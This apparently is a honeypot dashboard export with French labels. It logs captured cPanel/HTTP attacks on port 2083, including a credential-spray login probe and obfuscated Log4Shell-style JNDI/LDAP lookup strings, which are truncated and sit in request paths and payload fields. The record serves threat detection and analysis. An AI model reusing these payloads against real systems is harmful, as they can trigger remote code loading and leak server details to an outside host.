"novelty": 25
},
"risk_score": 68,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "628a2e3b959724e38b74a61d20c648f248564e28",
"event_fingerprint": "61e60889b41e4ab16c206776662bbd913e73f759",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "f0f8cb0c7b8f9134844e361fd23a95e3",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1560\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1560\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d2cf376653a2593d31032f8428cad2582d2533f1",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"cpanel-ssl",
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:08 UTC
TCP
2083 · CPANEL SSL
Injection PHP
php injection · via CPANEL SSL:2083 · (tentative d'exploit)
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
CPANEL-SSL
WAF
—
Recommandation
Investiguer
Tags
cpanel_ssl_emulated
net_cpanel_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
2083
Chemin / cible
—
Service
CPANEL SSL
Payload
ZSDLKFJ2 /${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2
Pourquoi cette classification : Type « php_injection » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2
Requête brute (extrait)
ZSDLKFJ2 /${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2ch:vt:-:}${og:idos:-/}${lt:-/}${x:sk6:-P}${4:l2wx:tdbp:-A}${6n:4:-l}${r0mw:5:-0}${f4t2:lw8z:ci:-c}${w64:ml7:--}${${i3:up57:8eqs:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 4096,
"payload_entropy": 4.778569268612207,
"port_category": "registered",
"org": "Google LLC",
"service": "cpanel-ssl",
"app_proto": "cpanel-ssl",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 8,
"risk_classification": 84,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.7,
"risk_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15
},
"risk_score": 52,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "c0f9f6f627a73b24caa302338d5283f47efa634a",
"event_fingerprint": "80d2812b66b9080b0842670f25ce9d4d3386dae1",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "cpanel-ssl",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "b59edcc8f881fe80e57234911fe445c7",
"path_pattern_hash": "765741bf96f2b0261b26b2b9f8ad710b"
},
"target_context": {
"dst_port": 2083,
"service": "cpanel-ssl",
"service_name": "cpanel-ssl",
"risk_score": 52
},
"payload_preview": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"request_sample": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2ch:vt:-:}${og:idos:-\/}${lt:-\/}${x:sk6:-P}${4:l2wx:tdbp:-A}${6n:4:-l}${r0mw:5:-0}${f4t2:lw8z:ci:-c}${w64:ml7:--}${${i3:up57:8eqs:",
"payload_snippet": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2ch:vt:-:}${og:idos:-\/}${lt:-\/}${x:sk6:-P}${4:l2wx:tdbp:-A}${6n:4:-l}${r0mw:5:-0}${f4t2:lw8z:ci:-c}${w64:ml7:--}${${i3:up57:8eqs:",
"payload_snippet": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1c402f9b65f3804739480709c3e78431f2cc37b3",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"port": 2083,
"service": "cpanel-ssl",
"service_label_fr": "CPANEL SSL"
},
"evidence_snippet": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"attack_vector": "php injection \u00b7 via CPANEL SSL:2083 \u00b7 (tentative d'exploit)",
"target_port_label": "2083 \u00b7 CPANEL SSL",
"emulator_service": "cpanel-ssl",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via CPANEL SSL \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "cpanel-ssl",
"service_label_fr": "CPANEL SSL",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-ssl",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"port": 2083,
"service": "cpanel-ssl",
"service_label_fr": "CPANEL SSL"
},
"attack_vector": "php injection \u00b7 via CPANEL SSL:2083 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${xc:db9:-j}${q45u:x89n:91j:-n}${ua:-d}${d:iwq:85q:-i}${sh3c:7v:-:}${g:-l}${7cwi:56w:-d}${18:cph:-a}${zu:zt:i:-p}${2",
"target_port_label": "2083 \u00b7 CPANEL SSL",
"emulator_service": "cpanel-ssl",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_ssl",
"service_banner": "honeypot-cpanel-ssl",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"cpanel-ssl",
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"cpanel_ssl_emulated",
"net_cpanel_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:07 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe) · → /${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb…
Élevée
Moyen · 58
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}$… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950380:rce-14
950468:nosqli-3
Cible HTTP
GET
/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-/}${8e5g:ja:it:-/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn:a918:q:-s}${k:rt87:mb:-:}${nm6:-j}${l:sqno:-a}${42c:j8:j:-v}${t:-a}${6:-.}${9n:-v}${lry8:-e}${gadl:-r}${vw:3:-s}${3:5ua:-i}${k:0l:-o}${di1:lb3o:je:-n}}${d:ps:wv:-.}${xmyt:j:-e}${9rvh:0ux:-a}${p4:i3:8w:-5}${w:kt:kh9:-5}${809:-5}${63r:6o9q:u3jn:-0}${lv3:wd:-6}$
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-/}${8e5g:ja:it:-/}${oer…
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 58
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 5 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-/}${8e5g:ja:it:-/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn:a918:q:-s}${k:rt87:mb:-:}${nm6:-j}${l:sqno:-a}${42c:j8:j:-v}${t:-a}${6:-.}${9n:-v}${lry8:-e}${gadl:-r}${vw:3:-s}${3:5ua:-i}${k:0l:-o}${di1:lb3o:je:-n}}${d:ps:wv:-.}${xmyt:j:-e}${9rvh:0ux:-a}${p4:i3:8w:-5}${w:kt:kh9:-5}${809:-5}${63r:6o9q:u3jn:-0}${lv3:wd:
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
rce-14
nosqli-3
Payload (extrait)
GET /${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}$
Requête brute (extrait)
GET /${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-/}${8e5g:ja:it:-/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${ea2f:8a:fg:-g}${q3:kt0z:xewr:-o}${y67:a:bs:-o}${y:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "82900f67f3464abee44088dcf414a0ada95d87b6",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.882988633787322,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.4,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 58,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "0953a71158014d9f5c5dde97142f9eed72bdbfe4",
"event_fingerprint": "9bf0bc84d2640f62a642d2e4166a6e0b1c1cdb65",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "8e19ae712656712b8b0bd4d21d225104",
"path_pattern_hash": "b3702f9e655a02356f3da7405c31e1a9"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"method": "GET",
"path": "\/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn:a918:q:-s}${k:rt87:mb:-:}${nm6:-j}${l:sqno:-a}${42c:j8:j:-v}${t:-a}${6:-.}${9n:-v}${lry8:-e}${gadl:-r}${vw:3:-s}${3:5ua:-i}${k:0l:-o}${di1:lb3o:je:-n}}${d:ps:wv:-.}${xmyt:j:-e}${9rvh:0ux:-a}${p4:i3:8w:-5}${w:kt:kh9:-5}${809:-5}${63r:6o9q:u3jn:-0}${lv3:wd:-6}$",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950380:rce-14",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3"
],
